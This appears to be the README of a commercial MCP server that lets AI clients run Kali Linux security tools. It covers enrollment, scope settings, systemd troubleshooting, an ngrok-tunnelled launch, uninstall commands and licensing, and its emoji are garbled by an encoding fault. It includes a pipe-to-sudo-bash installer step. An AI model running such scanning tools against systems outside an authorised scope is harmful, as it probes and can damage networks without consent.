  • ๐Ÿค– LLM Integration: AI-powered configuration and conversation management

Connection Setup

  1. Install and start this MCP server using the CLI tool
  2. Enroll the server to get your API credentials
  3. Add server to client using the enrollment details
  4. Start testing with full dashboard capabilities

The DARK MATER ecosystem provides a complete security testing platform with distributed server management and comprehensive reporting capabilities.

Security Considerations

Network Security

  • Run on isolated network segments
  • Use firewall rules to restrict access
  • Enable TLS for production deployments
  • Consider mTLS for high-security environments

Scope Limitations

  • Configure allowed_cidrs to match your testing environment
  • Set allow_destructive: false for reconnaissance-only mode
  • Review scope configuration regularly

Authentication

  • Protect enrollment tokens (stored in /etc/mcp-kali/enroll.json)
  • Rotate API keys periodically
  • Monitor authentication failures in logs

File Permissions

  • Configuration files are root-only readable
  • Service runs as unprivileged mcpserver user
  • Artifacts stored with proper ownership

Troubleshooting

Service Won't Start

# Check service status
sudo systemctl status mcp-kali-server

# Check logs for errors
sudo journalctl -u mcp-kali-server --no-pager

# Common issues:
# - Python dependencies missing
# - Permissions on directories
# - Port already in use

Authentication Failures

# Check if enrollment token exists
sudo ls -la /etc/mcp-kali/enroll.json

# Verify API credentials
sudo cat /etc/mcp-kali/credentials.json | jq

# Regenerate enrollment token
sudo rm /etc/mcp-kali/enroll.json
sudo ./install.sh  # Will generate new token

Tool Execution Errors

# Check scope configuration
cat /etc/mcp-kali/scope.json

# Verify nmap is installed
which nmap

# Check tool logs
sudo journalctl -u mcp-kali-server | grep "Tool.*failed"

Network Issues

# Test basic connectivity
curl -I http://SERVER_IP:5000/status

# Check if port is listening
sudo netstat -tlnp | grep :5000

# Verify firewall rules
sudo ufw status

Uninstallation

# Run uninstaller
sudo ./install.sh --uninstall

# Manual cleanup if needed
sudo systemctl stop mcp-kali-server
sudo systemctl disable mcp-kali-server
sudo rm /etc/systemd/system/mcp-kali-server.service
sudo userdel mcpserver
sudo rm -rf /opt/mcp-kali-server
sudo rm -rf /var/lib/mcp

# Configuration files (remove manually if desired)
sudo rm -rf /etc/mcp-kali

Development

Manual Installation

For manual setup or customization:

# As root, create directory and set ownership
mkdir -p /opt/mcp-kali-server
chown -R mcpserver:mcpserver /opt/mcp-kali-server

# Clone repository as mcpserver user
sudo -u mcpserver git clone git@github.com:khalilpreview/MCP-Kali-Server.git /opt/mcp-kali-server

# Create virtual environment and install dependencies
sudo -u mcpserver python3 -m venv /opt/mcp-kali-server/venv
sudo -u mcpserver /opt/mcp-kali-server/venv/bin/pip install -r /opt/mcp-kali-server/requirements.txt

๐Ÿ”ง Troubleshooting Installation

Common installation issues and solutions

๐Ÿšจ Common Issues

๐ŸŒ Online Installer Fails

If curl -sSL ... | sudo bash fails with syntax errors:

Solution 1: Download and inspect first

curl -sSL https://raw.githubusercontent.com/khalilpreview/MCP-Kali-Server/main/install.sh -o install.sh
sudo chmod +x install.sh
sudo ./install.sh

Solution 2: Use manual installation (see Option 2 above)

โœ… Recent Fix: The "syntax error near unexpected token `else'" issue has been resolved. The installer now properly detects systemd environments and gracefully handles non-systemd systems (Docker, WSL, chroot).

๐Ÿ”‘ Permission Denied on Git Clone
# Fix: Create directory with proper ownership first
sudo mkdir -p /opt/mcp-kali-server
sudo chown -R mcpserver:mcpserver /opt/mcp-kali-server
sudo -u mcpserver git clone https://github.com/khalilpreview/MCP-Kali-Server.git /opt/mcp-kali-server
๐Ÿ”ง CLI Tool Not Found
# Fix: Create symlink manually
sudo ln -sf /opt/mcp-kali-server/dark-mater_kali-mcp /usr/local/bin/dark-mater_kali-mcp
sudo chmod +x /usr/local/bin/dark-mater_kali-mcp

Running Without Systemd

If you're running in Docker, WSL, chroot, or another environment without systemd:

# First, verify your init system (optional)
ps -p 1 -o comm=

# If you don't see "systemd", that's why systemctl fails

Quickest way to run the server:

# Start server in foreground
/opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000

# Or run in background with nohup to keep it alive
nohup /opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000 > /var/log/mcp-kali-server.log 2>&1 &

# With ngrok tunnel (if needed)
nohup /opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000 --ngrok --ngrok-authtoken YOUR_TOKEN > /var/log/mcp-kali-server.log 2>&1 &

Adding New Tools

  1. Create schema in mcp_server/schemas/tools/toolname.json
  2. Add tool executor to ToolRegistry in mcp_server/tools.py
  3. Implement safe argument parsing and execution
  4. Add scope and destructiveness checks
  5. Test thoroughly in isolated environment

API Extensions

The FastAPI app in mcp_server/api.py can be extended with additional endpoints. Follow the existing patterns for authentication and error handling.


๐Ÿ“š Integration Documentation

Complete integration resources for the DARK MATER Client Dashboard
๐Ÿ“‹ Integration Guide

Complete integration documentation with code examples

๐Ÿ”Œ API Reference

Quick API endpoint reference and examples

โš™๏ธ Dashboard Config

Backend setup and configuration guide

๐Ÿ”‘ Key Integration Points


Server Enrollment
One-time setup with enrollment token

Bearer Authentication
API key-based authentication

Tool Execution
Schema-validated security tools

Artifact Management
Automatic result storage

Real-time Monitoring
Server health tracking

๐Ÿ“„ License & Pricing


๐Ÿ”’ Private Commercial Software

This is a private, commercial product available for purchase.

Contact us for licensing and pricing information.

๐Ÿ’ฐ Commercial License

Professional enterprise solution

๐Ÿ” Private Repository

Exclusive access for licensed users

๐ŸŽฏ Premium Support

Dedicated professional support


๐Ÿค Support & Community

๐Ÿข Zyniq Solutions

Visit our website

๐Ÿ› GitHub Issues

Report bugs & request features

๐Ÿ“š Documentation

Complete documentation & guides

๐Ÿ”— Integration


๐Ÿ’ผ Purchase & Access

Get Licensed Access to DARK MATER MCP Kali Server

1. Contact
Reach out for pricing

2. License
Purchase commercial license

3. Access
Receive private repo access

4. Deploy
Install and configure

๐Ÿข Enterprise Features

  • ๏ฟฝ Private Repository Access - Exclusive source code access
  • ๐Ÿ’Ž Premium Support - Direct technical support and consultation
  • ๐Ÿ”„ Regular Updates - Priority access to new features and security patches
  • ๐Ÿ“‹ Commercial License - Full rights for business and enterprise use
  • ๐ŸŽฏ Custom Integration - Tailored deployment and configuration assistance

๐Ÿ“ž Contact for Purchase



๐Ÿ’ผ Professional Security Testing Platform

DARK MATER MCP Kali Server - Premium security testing solution for professionals

๐Ÿ”’ Private commercial software by Zyniq Solutions

Contact us for licensing and access